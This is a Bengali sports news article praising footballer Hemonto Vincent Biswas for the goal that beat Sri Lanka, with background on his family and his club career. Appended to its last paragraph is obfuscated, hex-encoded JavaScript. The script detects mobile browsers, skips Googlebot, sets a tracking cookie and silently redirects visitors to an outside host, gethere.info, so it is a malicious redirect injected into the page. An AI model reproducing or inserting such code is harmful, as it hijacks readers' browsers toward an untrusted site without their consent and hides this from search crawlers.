for Add

এক হেমন্তের গল্প

hemontoনিজস্ব প্রতিবেদক :  ম্যাচের ৪0 মিনিটে হেমন্তের শটে শ্রীলংকার জালই কাঁপায়নি, দুলিয়েছে ১৬ কোটি মানুষের হৃদয়ও। ফুটবল মানেই গোলের খেলা। তাই বলে কে কয়টি গোলের কথাই মনে রাখে? কিন্তু সোমবার বঙ্গবন্ধু জাতীয় স্টেডিয়ামে হেমন্তের ওই গোল যে অনেক গোলের সমান। একটি গোলের মহিমা পেছনের আরেকটি গোলকে ঠেলে দেয় স্মৃতির আড়ালে। হেমন্তের ওই গোলটি স্মৃতির আয়নায় জ্বলজ্বল করবে অনেক দিন। গোলটি যে লাল সবুজ দেশের মানুষকে উচ্ছাসে ভাসানোর। যে গোল বাঁচিয়েছে বাংলাদেশের ফুটবলকে সমালোচনা থেকে। যে গোলে প্রতিশ্রুতি পুরুন হয়েছে ফুটবলারদের। যে গোল জাতীয় দলের জার্সি খুলে রাখার চ্যালেঞ্জে জিতিয়েছেন মামুনুল-এমিলিকে। যে গোলে সেমি ছাপিয়ে এখন ফাইনালের স্বপ্নে বিভোর করেছে পুরো জাতিকে, শীতের সন্ধ্যা তাড়িয়ে হেমন্ত উৎসবে রাঙিয়েছে বঙ্গবন্ধু জাতীয় স্টেডিয়াম।

সোমবার সন্ধ্যার ওই গোলের পর থেকেই চারিদিকে হেমন্তবন্দনা। আজ (মঙ্গলবার) সকাল থেকে সন্ধ্যা অবদি হোটেলে হেমন্তকে অনুসরণ করেছে মিডিয়ার চোখ। অনুভূতির পাশাপাশি কেউ আবার জানতে চেয়েছেন হেমন্তের একজন ফুটবলার হয়ে ওঠার গল্প। সবার চাহিদা মেটনোর মধ্যে দিয়েই হেমন্তের মুখ থেকে বেড়িয়েছে তার ফুটবলার হওয়ার গল্প। শ্রীলংকাবধের পর হেমন্তকে নিয়েই গল্প লেখাটাই যে মানায়।

 

11হেমন্ত ভিনসেন্ট বিশ্বাস, দিনাজপুর জেলা দলে খেলা মাইকেল বিশ্বাসের ছোট ছেলে। বয়স-শারীরিক গড়নে তাকে বাদ দিয়ে বড় দুই ছেলে সৌরভ ও সরবকে ট্রায়ালে নেন তাদের বাবা। বয়সে তারা বাদ পড়লে নির্বাচকদের কাছ থেকে নেয়া ৩০ মিনিট সময় চেয়ে বাবার বাড়ি এসে মটর সাইকেলে করে তাকে নিয়ে যাওয়া। ৭ বছরের মধ্যে জাতীয় দলে!
‘বাবার সঙ্গে মটর সাইকেলে যাওয়া-আসার ওই ৩০ মিনিটই আমার জীবনের টার্নিং পয়েন্ট’- জানান এ বছর মোহামেডান ছেড়ে ১৮ লাখ টাকায় শেখ রাসেলে নাম লেখানো হেমন্ত। গত মৌসুমে সাদা-কালোরা দিয়েছিল ৪ লাখ টাকা! ২০০৭ সালের ২৫ ডিসেম্বর বড় দিন পাল্টে দিয়েছে হেমন্তের দিন।

hemontoooo‘আইডল’ মামুনুল ও এমিলির জন্য ম্যাচটাকে সতীর্থদের মত তিনিও নিয়েছিলেন চ্যালেঞ্জ হিসেবে। সোহেল রানার ভাসানো বল এমিলি বুক দিয়ে তার সামনে দিতেই পাঠান শ্রীলঙ্কার জালে। লঙ্কান কোচের চোখে ‘মাস্টারপিস’ গোল হলেও হেমন্ত নাকি নিজেই অবাক হয়েছিলেন! ম্যাচ জেতানো গোলের পর হেমন্তের মুঠো ফোনে মা মৃথিলা বিশ্বাসের একাধিক কল। ছেলে মাঠে জেনেও তর সইছিল না রত্নগর্ভা মায়ের-আশায় ছিলেন যদি কেউ ফোনটা ধরেন। ম্যাচ শেষে গণমাধ্যমে কথা বলার সময়ও কল। ‘মুঠোফোন হাতে নেওয়ার পর দেখি মা ১৪ বার কল দিয়েছে। ফিরতি কল দেয়ার পর মায়ের আনন্দ-কান্না, বাবা তোর গোলে দল জিতেছে, আমার খুব খুশি লাগতাছে,’ জানান ২০১৩ তে হল্যান্ডে ট্রায়াল দিয়ে আসা হেমন্ত।

শুধু মৃথিলা বিশ্বাস না, খুশি গোটা দেশ। এই গোলেই পরিচিতির পরিধি বাড়ছে পরিবারের সদস্যদের। এটা হেমন্তর কথা, ‘বড় ভাই বিয়ে করেছেন বিরামপুর গ্রামে। সেখানে ভাইয়ের দোকানে টিভিতে সবাই খেলা দেখছিল। গোল করার পর আমার ভাই পরিচয় দেয়ার পর সবাই খুব খুশি। তাকেও এখন সবাই প্রশংসা করছেন।’
হেমন্তের প্রশংসায় পঞ্চমুখ ক্রুইফ। এমন কি তার গোলে হারা শ্রীলঙ্কান কোচ নিকোলা কাভাজোভিচও। ডাচ কোচ ক্রুইফ বলেছেন, ‘এত কম সময়ে তোমাকে এই মঞ্চে তুলেছি ব্যক্তিগত সম্পর্কে না, পায়ের জাদুতে। আমি তার আস্থার প্রতিদান দেয়ার চেস্টা করেছি-করছি। তিনি আমাকে ১০ নম্বর জার্সি দিয়েছেন, পজিশনের কারণে।’

BangladeshGreen-Vs-SrilankaYellow-3এসএসসি পাস করে প্রথম বর্ষে ভর্তি হওয়ার পর বিকেএসপি ছাড়েন হেমন্ত। মতিঝিল টিঅ্যান্ডটি ক্লাবের হয়ে সিনিয়র ডিভিশন, পরের বছর ভিক্টোরিয়ার পক্ষে চ্যাম্পিয়নশিপ লিগে। সেখান থেকে মোহামেডানে। হেমন্তের পাল্টে যাওয়া শুরু মোহামেডান থেকেই । প্রথম আলোচনার পাদপ্রদীপে আসা গত বছর গোয়ায় ভারতের বিপক্ষে প্রীতি ম্যাচে।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

for Add